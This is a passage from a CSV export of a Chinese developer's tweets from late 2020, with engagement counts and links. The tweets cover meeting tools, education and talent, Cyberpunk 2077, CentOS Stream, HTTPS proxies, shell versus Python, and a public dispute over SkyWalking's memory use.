07:32:47+00:00,1,0,1,,@trubleresolver zoom用来在线开会挺好的啊，可以共享屏幕，可以录制……slack是免费版，只有10000线信息，吹水会吹到工作信息丢失……tg可以保留所有的聊天记录，而且也方便转发各种信息……懂了吗？,,https://twitter.com/haoel/status/1342010316582875136\n3567,1341981353680621568,2020-12-24 05:37:42+00:00,3,0,1,,@trubleresolver 我们一直用zoom，tg是吹水的,,https://twitter.com/haoel/status/1341981353680621568\n3568,1341981111174369280,2020-12-24 05:36:44+00:00,1,0,1,,@CharlesC_ai 有道理，主讲直播模式，的确有问题。看来一切都是翘翘板……,,https://twitter.com/haoel/status/1341981111174369280\n3569,1341946875000156168,2020-12-24 03:20:41+00:00,67,5,5,,Telegram的 Voice Chat 的设计还是不错的，现有的开会软件都是需要人肉Mute/Unmute，所以，经常人会忘了。Telegram的这个设计，Mute是默认开启的，在你需要说话的时候，需要按中间的说话按钮不放，说忘后放开就自动Mute了，有对讲机的意思……这样的设计再也不会有人不关麦或是要说话的时候忘了开麦了 https://t.co/AMN2oadTcb,,https://twitter.com/haoel/status/1341946875000156168\n3570,1341936406726205440,2020-12-24 02:39:05+00:00,0,0,0,,@feitian124 不是，是你忽略了有99%的人都没有被选中去当运动员 ，而有90%以上的运动员在训练后就被淘汰掉的事实,,https://twitter.com/haoel/status/1341936406726205440\n3571,1341935795645468673,2020-12-24 02:36:40+00:00,310,42,16,,为什么人会喜欢励志型的故事？而且还是那种底层小人物靠自己不断努力地完成底层低端工作而受到上峰赏识成长的故事？因为这给人一种希望——我并不需要学习不需要学习英文，不需要学习那些令人头大的高等知识，不需要掌握高级技术和方法，只需要努力的做我现在的低端工作也能成功……这真是太适合我了……,,https://twitter.com/haoel/status/1341935795645468673\n3572,1341686639752478726,2020-12-23 10:06:36+00:00,3,0,3,,@xqliu 你问问你自己，适合你的环境是你父母帮你找的，还是你自己找的？父母要是懂你，就不会有代沟了……,,https://twitter.com/haoel/status/1341686639752478726\n3573,1341684967986716674,2020-12-23 09:59:58+00:00,2,0,2,,@laike9m 4年前的文章，今天有什么想法上的改变吗？,,https://twitter.com/haoel/status/1341684967986716674\n3574,1341632023706783746,2020-12-23 06:29:35+00:00,6,0,1,,@tinyfool 看到Dear Hao的称谓，我还以为是给我写的邮件……,,https://twitter.com/haoel/status/1341632023706783746\n3575,1341631656201895936,2020-12-23 06:28:07+00:00,109,11,5,,关于天赋，有两层含义，一种就是天生的能力，参看韩寒的《我也曾对那种力量一无所知》https://t.co/ugYQdxBv9W ，另一种其实是找对环境，比如：鱼看上去比老虎差太多，但是让老虎来水里试试，分分钟弄死他。这个世界不是单一化竞争，找到适合自己特点的环境，可以让自己“天赋异禀”……,\"[TextLink(text='sohu.com/a/216401108_15…', url='https://sohu.com/a/216401108_155921', tcourl='https://t.co/ugYQdxBv9W', indices=(40, 63))]\",https://twitter.com/haoel/status/1341631656201895936\n3576,1341629005850574850,2020-12-23 06:17:35+00:00,0,0,1,,@feitian124 我觉得你对那些有天赋的人的能力一无所知，参看韩寒的《我也曾对那种力量一无所知》https://t.co/vQXw7YK6rL,\"[TextLink(text='sohu.com/a/216401108_15…', url='https://www.sohu.com/a/216401108_155921', tcourl='https://t.co/vQXw7YK6rL', indices=(51, 74))]\",https://twitter.com/haoel/status/1341629005850574850\n3577,1341604381280534529,2020-12-23 04:39:44+00:00,439,70,35,,我感觉人类的竞争不是竞争谁学的多，首先是在竞争在有没有天赋上，然后是有没有强烈的兴趣和雄心，接下来是懂不懂先进的方法，后面才是自律，最后才是勤奋。即，天赋 &gt; 兴趣 &gt; 方法 &gt; 自律 &gt; 勤奋 。没有兴趣不讲方法的勤奋没有任何意义。天赋没办法，而兴趣都是玩出来的……,,https://twitter.com/haoel/status/1341604381280534529\n3578,1341602172648050689,2020-12-23 04:30:58+00:00,176,11,28,,我过去一段时间，不断地冒出一个念头，小学校教的东西，比如，数学，反反复复在讲加减乘除等很基础的东西，老实说，长大一点人的智商到了，小学这6年学的东西，半年就学完了。对于英文，从小学学到大学，最终无法与人交流，就算是在国外留学的，最终还是不如印度人，感觉就是教育出了重大的问题……,,https://twitter.com/haoel/status/1341602172648050689\n3579,1341597820155908096,2020-12-23 04:13:40+00:00,7,0,0,,@reiayanami0002 上网课锻炼社交？我没听错？,,https://twitter.com/haoel/status/1341597820155908096\n3580,1341574467487637505,2020-12-23 02:40:52+00:00,437,53,77,,我们家孩子小学五年级了，我不给他上什么课外班，我觉得一个人的童年就是应该就是去玩去体验，然而，孩子的小伴伙们平时的晚上都有网课，周末也要上各种课外辅导，什么语文，数学，编程，艺术……满满当当的，搞得我们家孩子基本找不到人玩，无聊的很……现在的社会都怎么了……,,https://twitter.com/haoel/status/1341574467487637505\n3581,1341571687293177856,2020-12-23 02:29:50+00:00,2,0,0,,@trubleresolver 现在就是type c的了，以前都没有问题，就是升级成了big sur才有问题,,https://twitter.com/haoel/status/1341571687293177856\n3582,1341570497587253253,2020-12-23 02:25:06+00:00,13,0,8,,这个问题几乎天天出现，每次出现的时候，发现两个必要条件：1）有外接显示器，2）电脑自动黑屏后。现在终于找到解决方法了——按一下电源键，退到屏幕锁定，然后再解锁，这样就能好了，如果一次不行，就两次。,,https://twitter.com/haoel/status/1341570497587253253\n3583,1341554772176896006,2020-12-23 01:22:37+00:00,8,0,1,,@gitawego 最后还不是应试教育的产物,,https://twitter.com/haoel/status/1341554772176896006\n3584,1341340473751834625,2020-12-22 11:11:04+00:00,585,122,45,,你要说中国现在不是一个“收割型”的社会，我都有点不信。互联网除了杀熟抽佣都在做金融，连顺丰都给我发来短信说给我几十万贷款……别说投资理财，连单车和租房也在收割……所有的渠道上都在虚假营销带货，公众号、直播、短视频传递的都是生意……线上教育收割下一代……各公司都在996拼命加班……,,https://twitter.com/haoel/status/1341340473751834625\n3585,1341045219899232259,2020-12-21 15:37:50+00:00,5,0,2,,@geniusvczh 你这种是非通用算法，一般只要题形变一下，就思考不出来了……,,https://twitter.com/haoel/status/1341045219899232259\n3586,1341043670259097600,2020-12-21 15:31:41+00:00,0,0,1,,@LSKMSun 你的智力很高，对吧,,https://twitter.com/haoel/status/1341043670259097600\n3587,1341038635131363333,2020-12-21 15:11:40+00:00,19,0,17,,记忆中我上学的时候从来没做过这种类型的数学题。记得做的最多的是一个管子放水另外一个进水，两辆对着开多长时间碰面之类的，求阴影面积好像没做过……,,https://twitter.com/haoel/status/1341038635131363333\n3588,1341029152648925191,2020-12-21 14:33:59+00:00,121,14,117,,现在的五年级数学题真难，我看了15分钟才找到答案……😓 https://t.co/zbCmInYXmr,,https://twitter.com/haoel/status/1341029152648925191\n3589,1340461764022923264,2020-12-20 00:59:23+00:00,1,0,0,,@Jayden74764608 @sinoon1218 不知道，只知道萧亚轩,,https://twitter.com/haoel/status/1340461764022923264\n3590,1340322253754441730,2020-12-19 15:45:01+00:00,1,0,0,,@tinyfool 😂😂😓😓,,https://twitter.com/haoel/status/1340322253754441730\n3591,1340313541971070977,2020-12-19 15:10:24+00:00,2,0,2,,@sinoon1218 萧敬腾是谁？,,https://twitter.com/haoel/status/1340313541971070977\n3592,1340312686400208897,2020-12-19 15:07:00+00:00,82,0,11,,上次去上海浦东新区参加Gopher 大会，头一天上海浦东新区出了两个病例；明天在北京朝阳区参加Top100大会，今天北京朝阳区出了两个病例……,,https://twitter.com/haoel/status/1340312686400208897\n3593,1339876190744539136,2020-12-18 10:12:32+00:00,18,3,2,,我理解这应该可以很容易hack各种用刷脸来认证的系统了……,,https://twitter.com/haoel/status/1339876190744539136\n3594,1339790349141622789,2020-12-18 04:31:25+00:00,28,3,5,,跳票这多年，结果还是问题太多，质量不达标，最终还是召回了……另外，说一下，目前玩过的在画质和细节最好的还是《荒野大镖客2》，不过，目前玩下来的感觉上，Cyberpunk2077在人物性格，对话，和剧情上设计的确真的不错，就是粗口实在是太多了…… https://t.co/5552PNErfq,,https://twitter.com/haoel/status/1339790349141622789\n3595,1339545805070295040,2020-12-17 12:19:42+00:00,105,0,9,,下班前拍的日落 https://t.co/8Nx7fHQn43,,https://twitter.com/haoel/status/1339545805070295040\n3596,1339279732592898048,2020-12-16 18:42:25+00:00,0,0,1,,@wuvist VP呢？,,https://twitter.com/haoel/status/1339279732592898048\n3597,1339185733622321158,2020-12-16 12:28:54+00:00,31,0,5,,其实，这篇文章是想说“为什么Google牛逼”……,,https://twitter.com/haoel/status/1339185733622321158\n3598,1339175629372026890,2020-12-16 11:48:45+00:00,95,23,9,,看了篇《百度不要用户》，有一个不认同的地方，于是写篇水文 《百度怎么掉队了》用来除除blog上的杂草https://t.co/41rRltwAei,\"[TextLink(text='coolshell.cn/articles/21113…', url='https://coolshell.cn/articles/21113.html', tcourl='https://t.co/41rRltwAei', indices=(50, 73))]\",https://twitter.com/haoel/status/1339175629372026890\n3599,1338860658440323076,2020-12-15 14:57:10+00:00,0,0,0,,@NekoStranding 哦，怪不得小地图上有红点,,https://twitter.com/haoel/status/1338860658440323076\n3600,1338857971946668040,2020-12-15 14:46:29+00:00,29,1,8,,Cyberpunk 2077里发现台收音机，好像有华为的标…… https://t.co/po5INK4XDM,,https://twitter.com/haoel/status/1338857971946668040\n3601,1338764578923008000,2020-12-15 08:35:23+00:00,4,0,1,,@xudong_hu 不是驴，是骡子,,https://twitter.com/haoel/status/1338764578923008000\n3602,1338761031640702980,2020-12-15 08:21:17+00:00,215,29,18,,同样是搬砖，还不用996……我觉的这则新闻是有针对性的…… https://t.co/W7ktE5G1Op,,https://twitter.com/haoel/status/1338761031640702980\n3603,1338695766701797377,2020-12-15 04:01:57+00:00,1,0,1,,@mathena 谢谢反馈。但是感觉Conflict有点太过了，没有Conflict，就是一般的争论。,,https://twitter.com/haoel/status/1338695766701797377\n3604,1338691814925029377,2020-12-15 03:46:15+00:00,162,7,26,,刚才听路人聊天：“……还是要去大厂，不然35岁以后再找工作难，大厂背书有含金量……”。这句话听起来似乎是暗指，35岁后人就要被社会抛弃找不到工作了，需要准备好出路……嗯，最近最是听到“35岁”的话题，这个社会果然是变得越来越“老龄化”了……,,https://twitter.com/haoel/status/1338691814925029377\n3605,1338487366625816577,2020-12-14 14:13:50+00:00,49,14,1,,@yan_1089 可以到这里看 v1.3 https://t.co/fqtofzhKjr,\"[TextLink(text='coolshell.cn/articles/20765…', url='https://coolshell.cn/articles/20765.html', tcourl='https://t.co/fqtofzhKjr', indices=(22, 45))]\",https://twitter.com/haoel/status/1338487366625816577\n3606,1337988592820310016,2020-12-13 05:11:53+00:00,31,5,2,,\"切回英文界面对照了一下\n- 我心如火 love like fire\n- 黑梦Playing for time\n- 高级动物Automatic Love\n（翻译组致敬窦唯无疑了……） https://t.co/nihtG1qQbT\",,https://twitter.com/haoel/status/1337988592820310016\n3607,1337951699890159617,2020-12-13 02:45:17+00:00,23,0,5,,马上就来一个16GB的大补丁……#Cyberbug2077 https://t.co/e98NrLrzQv,,https://twitter.com/haoel/status/1337951699890159617\n3608,1337800913512058880,2020-12-12 16:46:07+00:00,18,1,3,,故意把Cyberpunk 写成 Cyberbug，没想到已经走热门tag了……😂,,https://twitter.com/haoel/status/1337800913512058880\n3609,1337799602993471489,2020-12-12 16:40:55+00:00,107,16,9,,你要说赛博朋克2077没有向窦唯致敬，我都有点不信一一任务“黑梦”做完就是“高级动物”……#Cyberbug2077 https://t.co/SffRs2Pyv1,,https://twitter.com/haoel/status/1337799602993471489\n3610,1337601193674039297,2020-12-12 03:32:30+00:00,15,0,5,,终于有空打开游戏了，发布现除了游戏图标外全英文，玩了10分钟还行，但是有点累，上网一看发现只有亚区才有中文字幕，切成港区也不行，最后只能退了美区，再从港区下单，现在好了……玩了30分钟，也太限制级了……白天娃醒的时候不敢玩……,,https://twitter.com/haoel/status/1337601193674039297\n3611,1337251251373797376,2020-12-11 04:21:57+00:00,7,2,1,,@xautjzd 这篇文章吧 https://t.co/LuZTC8YFO5,\"[TextLink(text='joemorrison.medium.com/death-of-an-op…', url='https://joemorrison.medium.com/death-of-an-open-source-business-model-62bc227a7e9b', tcourl='https://t.co/LuZTC8YFO5', indices=(15, 38))]\",https://twitter.com/haoel/status/1337251251373797376\n3612,1337247744038092802,2020-12-11 04:08:01+00:00,103,14,13,,前段时间，我们讨论的美国大选竞争网站的那些前端地图做的真棒，其背后主要是一家开源公司叫 MapBox（https://t.co/CELevi1Zzt）他们最近也把他们的Lisens改了，看上出不那么开放了，在HackNews上引发大讨论（https://t.co/JfKBjIbNNP）近几年感觉开源火爆后一些不错的开源软件都在慢慢向封闭移动……,\"[TextLink(text='github.com/mapbox', url='https://github.com/mapbox', tcourl='https://t.co/CELevi1Zzt', indices=(51, 74)), TextLink(text='news.ycombinator.com/item?id=253473…', url='https://news.ycombinator.com/item?id=25347310', tcourl='https://t.co/JfKBjIbNNP', indices=(119, 142))]\",https://twitter.com/haoel/status/1337247744038092802\n3613,1337009591251439617,2020-12-10 12:21:41+00:00,0,0,2,,@geniusvczh 钱在老婆手里啊……,,https://twitter.com/haoel/status/1337009591251439617\n3614,1336976950112395265,2020-12-10 10:11:59+00:00,15,0,9,,我家的这个42的飞利浦电视都12年了……屏幕边上都开始花白了，但就是不坏，没借口换新的……哎……,,https://twitter.com/haoel/status/1336976950112395265\n3615,1336849023337070593,2020-12-10 01:43:39+00:00,1,0,1,,@cn_shuyang 因为买XBox是为了Kinect，而早年的PS早处理掉了(现在在等PS5）……,,https://twitter.com/haoel/status/1336849023337070593\n3616,1336845671014363137,2020-12-10 01:30:20+00:00,0,0,1,,@raywong2047 Xbox 收藏……,,https://twitter.com/haoel/status/1336845671014363137\n3617,1336844549541359616,2020-12-10 01:25:52+00:00,103,1,18,,买了也没时间玩…… https://t.co/FB7jKtQuUb,,https://twitter.com/haoel/status/1336844549541359616\n3618,1336682593945755650,2020-12-09 14:42:19+00:00,19,3,0,,刚刚 @shell909090 教我一成语【药店飞龙】，搜了一下意思是有味中药叫“龙骨”，就是动物骨头，说人瘦的跟药店的骨头一样。我举一反三，发现还有一个成语叫【酒店猛狗】，一个卖酒的人家的狗很凶，客人来时，狗就上去咬下，于是酒卖不出去而发酸了，形容领导者要审择左右……😂,,https://twitter.com/haoel/status/1336682593945755650\n3619,1336677875504713732,2020-12-09 14:23:34+00:00,0,0,0,,@shell909090 Google了一下，感觉有点雷人……,,https://twitter.com/haoel/status/1336677875504713732\n3620,1336669583575375874,2020-12-09 13:50:37+00:00,55,2,57,,今天孩子拿来作业上的一段话，问我其中两个字怎么读，“风光旖旎”中的“旖旎”二字，好嘛，我这辈子第一只见这两个字，我说我没见过，上网查了一下，读/yǐ nǐ/，整个成语读起来是fēng guāng yǐ nǐ ，真是好拗口，小学生学“风光秀丽”不香么？🤪,,https://twitter.com/haoel/status/1336669583575375874\n3621,1336601573766483971,2020-12-09 09:20:22+00:00,39,8,8,,CentOS 8的免费大餐明年结束（嗯CentOS也是Redhat的，Redhat被IBM收了）。新的形式是RHL的上游CentOS Steam，也就是：Fedora(upstream) -&gt; CentOS Stream(downstream) -&gt; RHEL，成了一个滚动更新发行版。大家敢不敢玩滚动更新版呢？估计Ubuntu/Debian 或成最大赢家…… https://t.co/a4kfr0jLm1,\"[TextLink(text='cyberciti.biz/linux-news/cen…', url='https://www.cyberciti.biz/linux-news/centos-linux-8-will-end-in-2021-and-shifts-focus-to-centos-stream/', tcourl='https://t.co/a4kfr0jLm1', indices=(187, 210))]\",https://twitter.com/haoel/status/1336601573766483971\n3622,1336592070371287041,2020-12-09 08:42:36+00:00,16,0,3,,\"@linyujing Kafka, 这个我熟悉啊 （ https://t.co/5sF4enADzI ）另外，看你这么喜欢猫，推荐tomcat...😜\",\"[TextLink(text='kafka.apache.org', url='https://kafka.apache.org/', tcourl='https://t.co/5sF4enADzI', indices=(27, 50))]\",https://twitter.com/haoel/status/1336592070371287041\n3623,1336283741451243520,2020-12-08 12:17:25+00:00,6,0,3,,@shajiabiji 直播可以有托，比电视更容易煽动,,https://twitter.com/haoel/status/1336283741451243520\n3624,1336256157359337472,2020-12-08 10:27:49+00:00,159,17,39,,这不就是消失了的电视购物么……我送，我送，我还送……,,https://twitter.com/haoel/status/1336256157359337472\n3625,1336255720086335489,2020-12-08 10:26:04+00:00,0,0,1,,@fujohnwang 备案了么？哼,,https://twitter.com/haoel/status/1336255720086335489\n3626,1336152552107208704,2020-12-08 03:36:07+00:00,0,0,1,,@faithorg 是的，口误。不过，记得Google投资了coreos，而且google也是反抗docker的主力……,,https://twitter.com/haoel/status/1336152552107208704\n3627,1335952243330220033,2020-12-07 14:20:10+00:00,0,0,0,,@not_sobad 好吧……,,https://twitter.com/haoel/status/1335952243330220033\n3628,1335835380147343361,2020-12-07 06:35:47+00:00,17,1,0,,@laisky_sh source: https://t.co/xauVWePAVR,\"[TextLink(text='zipcomic.com/invincible-201…', url='https://www.zipcomic.com/invincible-2018-issue-1', tcourl='https://t.co/xauVWePAVR', indices=(19, 42))]\",https://twitter.com/haoel/status/1335835380147343361\n3629,1335798115207548930,2020-12-07 04:07:43+00:00,6,1,2,,看了下调查结果，感觉还行，毕竟2008年对一些90后，可能还在中学时代，不了解社会，不过，推上还是有过半的年轻一代了解，也算不错了……,,https://twitter.com/haoel/status/1335798115207548930\n3630,1335486013448196097,2020-12-06 07:27:32+00:00,28,6,18,,前天中午吃饭，一同事聊起他的肾结石，旁边一95年小伙说“怎么年纪这么大了”？我们回肾结石跟年纪无关，比如结石宝宝。结果小伙完全没听说过，于是我们问知道北京奥运和汶川地震吗？都说知道，再问知道三鹿和三聚氰胺吗？说也知道，但却完全不知道20多万结石宝宝这事……这让我很吃惊，上推来做个调查…,,https://twitter.com/haoel/status/1335486013448196097\n3631,1335130627264270337,2020-12-05 07:55:21+00:00,0,0,1,,@likev 这不很多人都说自建么……,,https://twitter.com/haoel/status/1335130627264270337\n3632,1335124403235946496,2020-12-05 07:30:37+00:00,3,0,1,,@likev 走HTTPS用代理也没什么问题，不必非要自建……,,https://twitter.com/haoel/status/1335124403235946496\n3633,1335123366986932225,2020-12-05 07:26:30+00:00,0,0,0,,@shuiwenzy 没用啊https加密了，代理啥也看不到……,,https://twitter.com/haoel/status/1335123366986932225\n3634,1335122884247789568,2020-12-05 07:24:35+00:00,2,0,0,,这推是不是被全站置顶了？,,https://twitter.com/haoel/status/1335122884247789568\n3635,1335070946382602241,2020-12-05 03:58:12+00:00,54,17,0,,@ZcharyMa https://t.co/mdOTsYdude,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io', tcourl='https://t.co/mdOTsYdude', indices=(10, 33))]\",https://twitter.com/haoel/status/1335070946382602241\n3636,1335067317152051204,2020-12-05 03:43:47+00:00,3,0,0,,@leoaee 有一些代理方式，你得在他的定制的浏览器里访问外网……（如：某些公司用类似的方法监控员工上外网）,,https://twitter.com/haoel/status/1335067317152051204\n3637,1335064428304191489,2020-12-05 03:32:18+00:00,143,22,12,,\"看了这贴以及评论，看来大家对网络还是不熟悉。解释一下：\n\n1）用HTTPS走中间代理没什么问题，浏览器会通过CA检查公钥是否可信（千万不要被中间人转协议域名，也千万不要在浏览器内安装其他不可信CA）\n\n2）HTTPS同样加密header，所以URL中除域名外的所有信息也会被加密。\n\n3）SS已经是过去式了……\",,https://twitter.com/haoel/status/1335064428304191489\n3638,1334877627161559040,2020-12-04 15:10:01+00:00,23,1,8,,Apple M1那么强，是不是被乔老爷子枪毙的Adobe Flash可以回魂了？🐶,,https://twitter.com/haoel/status/1334877627161559040\n3639,1334685521054855172,2020-12-04 02:26:40+00:00,116,12,22,,离婚率这么高，其实说明两个人在结婚前没有充分意识到结婚后的各种问题，所以要的是“结婚冷静期”，或者叫“恋爱冷静期”，年轻人婚姻前应该充分了解或学习结婚的pros和cons。毕竟，恋爱是两个人私人的事，而婚姻则是男女双方两个社会群体掺和进来的社会行为……,,https://twitter.com/haoel/status/1334685521054855172\n3640,1334566055318937600,2020-12-03 18:31:57+00:00,35,4,5,,\"pro版再加上sleep就完美了\ndo { \n    x = rand(); \n    sleep(x); \n} while( x != 10); https://t.co/DqUE5RrBq4\",,https://twitter.com/haoel/status/1334566055318937600\n3641,1334072277541916672,2020-12-02 09:49:51+00:00,21,1,2,,\"@Simeone_xu 基本思路是\n\ngrep 时间 | awk URL | sed url后的参数 | sort | uniq -c | sort -rh | head -n 10\",,https://twitter.com/haoel/status/1334072277541916672\n3642,1334068722869227520,2020-12-02 09:35:43+00:00,1,0,1,,@zhangchunlin 你是否可以再多读一下我的表述？,,https://twitter.com/haoel/status/1334068722869227520\n3643,1334068539196465152,2020-12-02 09:35:00+00:00,64,5,5,,我就知道这么客观的表述，”有些人“也会不同意。再多扯几句，Shell主要是与操作系统对话，其更重要的是用来拼装各种命令。比如，我记得有一次在用户那边，我让用户统计过去60分钟nginx的access.log里的最热的API请求，结果用户开写PHP代码……我看着也急，其实，这也就是一行shell命令行的事了……,,https://twitter.com/haoel/status/1334068539196465152\n3644,1334064465633918978,2020-12-02 09:18:48+00:00,4,0,0,,\"@Aloneplayer 是的，不过，更准确的是，用来和 I/O 对话用的。pipeline, 重定向，网络、文件……\",,https://twitter.com/haoel/status/1334064465633918978\n3645,1334050876810424328,2020-12-02 08:24:49+00:00,11,0,2,,@starwar24 你只代表自己不能代表人类。,,https://twitter.com/haoel/status/1334050876810424328\n3646,1334050801929515008,2020-12-02 08:24:31+00:00,1,0,1,,@doubleU_wwww shell跨平台比python好多了,,https://twitter.com/haoel/status/1334050801929515008\n3647,1334048248273670145,2020-12-02 08:14:22+00:00,1,0,0,,@huodon 估计是不会用,,https://twitter.com/haoel/status/1334048248273670145\n3648,1334043556697104385,2020-12-02 07:55:43+00:00,202,21,34,,有些人觉得用Python就可以代替Shell脚本，其实并不是这样的。Shell主要用来做命令拼装的，而强大的命令+Pipeline可以让你写出比Python更容易的脚本……事实上，用Python可以做的事用Shell都可以做，当然，双方都有在自己领域内很容易干的事而对方很难干……正确的策略是都学……,,https://twitter.com/haoel/status/1334043556697104385\n3649,1333723097317294080,2020-12-01 10:42:20+00:00,74,4,14,,两车刮蹭，堵塞四环 https://t.co/RCGxiNBD21,,https://twitter.com/haoel/status/1333723097317294080\n3650,1333306453059244033,2020-11-30 07:06:44+00:00,1,0,0,,@ctengctsh @Jojoserendipity 不是性能问题，是代码维护问题。DRY原则,,https://twitter.com/haoel/status/1333306453059244033\n3651,1333224667218206720,2020-11-30 01:41:45+00:00,43,1,4,,@Jojoserendipity 一般来说，对于这种题，你需要定义一个字典表，如下图 https://t.co/mrbdZN1Syb,,https://twitter.com/haoel/status/1333224667218206720\n3652,1332911016460513280,2020-11-29 04:55:25+00:00,11,0,0,,@kevinzhow 建议如下,,https://twitter.com/haoel/status/1332911016460513280\n3653,1332910345619292160,2020-11-29 04:52:45+00:00,0,0,0,,@unumu 我们对杀手级应用理解不一样,,https://twitter.com/haoel/status/1332910345619292160\n3654,1332910143508340736,2020-11-29 04:51:57+00:00,2,0,0,,@allankane82 .NET不差了，但没有全占，所以不如Java。社区不怎样，也没什么杀手级应用……,,https://twitter.com/haoel/status/1332910143508340736\n3655,1332909638677794819,2020-11-29 04:49:56+00:00,6,0,1,,@geniusvczh 杠王你好👋,,https://twitter.com/haoel/status/1332909638677794819\n3656,1332892360733126656,2020-11-29 03:41:17+00:00,272,50,19,,\"我认为一个好的技术会有如下特征：\n- 时间10年以上\n- 有个好爸爸（大公司投入支持）\n- 有杀手级方案或应用\n- 活跃的为之贡献的社区或生态\n- 标准化组织\n\n一般来说，只要占到2-3个就很厉害了，况且有些技术占全了（比如：Java）\n\n现在，Rust找到一个好爸爸了\n\nhttps://t.co/lyLuqmLmPu\",\"[TextLink(text='aws.amazon.com/cn/blogs/opens…', url='https://aws.amazon.com/cn/blogs/opensource/why-aws-loves-rust-and-how-wed-like-to-help/', tcourl='https://t.co/lyLuqmLmPu', indices=(137, 160))]\",https://twitter.com/haoel/status/1332892360733126656\n3657,1332256086825418752,2020-11-27 09:32:57+00:00,14,0,1,,@sofish 我来支援你……,,https://twitter.com/haoel/status/1332256086825418752\n3658,1332189638711156741,2020-11-27 05:08:55+00:00,0,0,0,,@tsingxu 正是,,https://twitter.com/haoel/status/1332189638711156741\n3659,1332139910061408257,2020-11-27 01:51:19+00:00,3,1,1,,@shibwei 边缘计算和采集设备完全是两个事……你所谓的边缘节点无非就是把数据计算前置，那个不是数据采集。,,https://twitter.com/haoel/status/1332139910061408257\n3660,1332139529378009089,2020-11-27 01:49:48+00:00,42,7,2,,\"程序的状态是什么？至少有下面的几个：\n\n- 服务调用的结果\n- 服务组合下的上下文\n- 服务的配置\n\n状态会导致程序复杂度提升，多个状态间会让程序设计和维护变得异常复杂。虽说我们不太可能写出没有状态的程序，但应该尽可能处理少的状态，尽可能快的持久化状态……\",,https://twitter.com/haoel/status/1332139529378009089\n3661,1332135434793541638,2020-11-27 01:33:32+00:00,147,14,13,,监控系统通常会有两种设计方向，一种是在采集端计算，一种是在监控数据端计算。这里需的做权衡。但基本原理是，采集端要保持简单，不应有过多的计算而影响业务。另外一个容易被忽视的是，采集端最好不要有状态，状态会导致很多问题，采集端就干两件事：采集数据，标注数据（供后端进行数据关联）……,,https://twitter.com/haoel/status/1332135434793541638\n3662,1332131559600623616,2020-11-27 01:18:08+00:00,2,0,0,,\"@adrianfcole To organize tracing data, one way is KISS, client span &amp; server span are filed out separately and consume a few memory, another way would hold the tracing data in memory until all of RPC calls finished, this would consume more memory. SkyWalking do the 2nd way... make sense?\",,https://twitter.com/haoel/status/1332131559600623616\n3663,1331971064709070853,2020-11-26 14:40:23+00:00,76,1,10,,我刚在微信跟吴晟聊了一会，了解到Skywalking社区对我之前的推有极大不满和愤怒，所以我只能把 我跟净超 @jimmysongio 几周前的对话放出来了。只想说一下，我这个人心直口快，有时候也会说错话，但我本人非常纯粹，就事论事，我本身并没有什么恶意，也不是要打压什么…… https://t.co/j9tjqkE66M,,https://twitter.com/haoel/status/1331971064709070853\n3664,1331914195235815425,2020-11-26 10:54:24+00:00,1,0,0,,@yy0ng119 的确是接了显示器，下次我试试你的方法。,,https://twitter.com/haoel/status/1331914195235815425\n3665,1331908775997915137,2020-11-26 10:32:52+00:00,43,0,20,,Big Sur遇到问题了，系统运行运行着，发现键盘不能录入了，鼠标在某些地方也点不动了，手势也不起作用了，窗口也切换不了了，好像前面有个什么东西挡着一样，就像是一个模式话对话框你得关掉它，但你完全找不到这个对话框在哪里……,,https://twitter.com/haoel/status/1331908775997915137\n3666,1331896609496469507,2020-11-26 09:44:31+00:00,21,0,1,,@jimmysongio 我不就是在讨论技术吗？skywalking 好处：支持的框架和包多，不好：不是业内规范。但是，我特别失望的是——摆出一副，我是权威，你什么也不是，所以你没有资格来提出问题的嘴脸……,,https://twitter.com/haoel/status/1331896609496469507\n3667,1331891032217161729,2020-11-26 09:22:22+00:00,8,0,2,,@echooymxq 是这样的，skywalking对于每个rpc的调用数据，都会hold在内存里，直到所有的rpc全部调完后才会把数据发出给监控系统，这会导致如果请求量比较大的时候，内存会有比较大的消耗（因为数据全hold在内存中）。而业内规范一般是调一次就把数据发给监控系统了……,,https://twitter.com/haoel/status/1331891032217161729\n3668,1331887655299158017,2020-11-26 09:08:56+00:00,20,1,2,,@wusheng1108 虽然你没有正面回答我的问题，但是我还是感谢你这么多的回复，虽然这些回复都有一种“我是权威我不容质疑”的感觉，但我还是希望能和你讨论技术，而不是被你骂我各种什么也不懂……再次谢谢！,,https://twitter.com/haoel/status/1331887655299158017\n3669,1331884191957483524,2020-11-26 08:55:11+00:00,3,0,1,,\"@wusheng1108 my workmate and I carefully read the document, data scheme, and the source code of skywalking. Besides, in the customer site, we work with customer did the high workload stress test, and the problem I've mentioned before - service crashed because of OOM. so we change to zipkins\",,https://twitter.com/haoel/status/1331884191957483524\n3670,1331882271725420545,2020-11-26 08:47:33+00:00,3,0,1,,\"@wusheng1108 So, to be clear, do you agree that Skywalking has the memory issue? And in some scenarios, this could crash the service because of skywalking could consume too much memory?\",,https://twitter.com/haoel/status/1331882271725420545\n3671,1331880321239773184,2020-11-26 08:39:48+00:00,0,0,1,,\"@wusheng1108 Good, 支持的框架和包很多，Bad，内存问题，没有遵循业内规范。我觉得我表达清楚了。\",,https://twitter.com/haoel/status/1331880321239773184\n3672,1331879917735141378,2020-11-26 08:38:12+00:00,8,0,1,,@wusheng1108 public里不能让人提不同意见吗？当然，我忽略你所谓的那引起不容质疑的内容，和你谈谈技术，也向你请教（真心的），skywalking是不是对于每个RPC都会hold住并等完成后才发送出给监控系统？而不是只要有一次调用就发出。如果hold的数据过多，是不是会导致一定的内存问题？,,https://twitter.com/haoel/status/1331879917735141378\n3673,1331877669642768385,2020-11-26 08:29:16+00:00,30,2,2,,@wusheng1108 吴先生，我其实挺尊敬你的，但是，你的这个回复，让我感到挺意外的。你在面对一些不同意见的时候，先是质问提出问的人的资格，然后不断地在证明你是这方面的权威，不容质疑……哎……就算是我说错了，你这也并不是一个做开源应该有的面对社区的正确的有开放性的姿态……,,https://twitter.com/haoel/status/1331877669642768385\n3674,1331854157976801281,2020-11-26 06:55:50+00:00,175,23,12,,\"发现国内这么多公司都在用SkyWalking，虽然SkyWalking支持的Java框架和包很多，然而，Skywalking的设计并没有遵循Google Dapper的论文，其在设计有比较重大的设计问题，会造成比较大的内存消耗…… 所以，不推荐使用。这里，强烈建议使用OpenTracing, Zipkin, Uber Jaeger这样遵循了Dapper论文的实现…\",,https://twitter.com/haoel/status/1331854157976801281\n3675,1331450497304150016,2020-11-25 04:11:50+00:00,15,0,1,,还挺自信…… https://t.co/Z5HERFEPm0,,https://twitter.com/haoel/status/1331450497304150016\n3676,1331448486668115968,2020-11-25 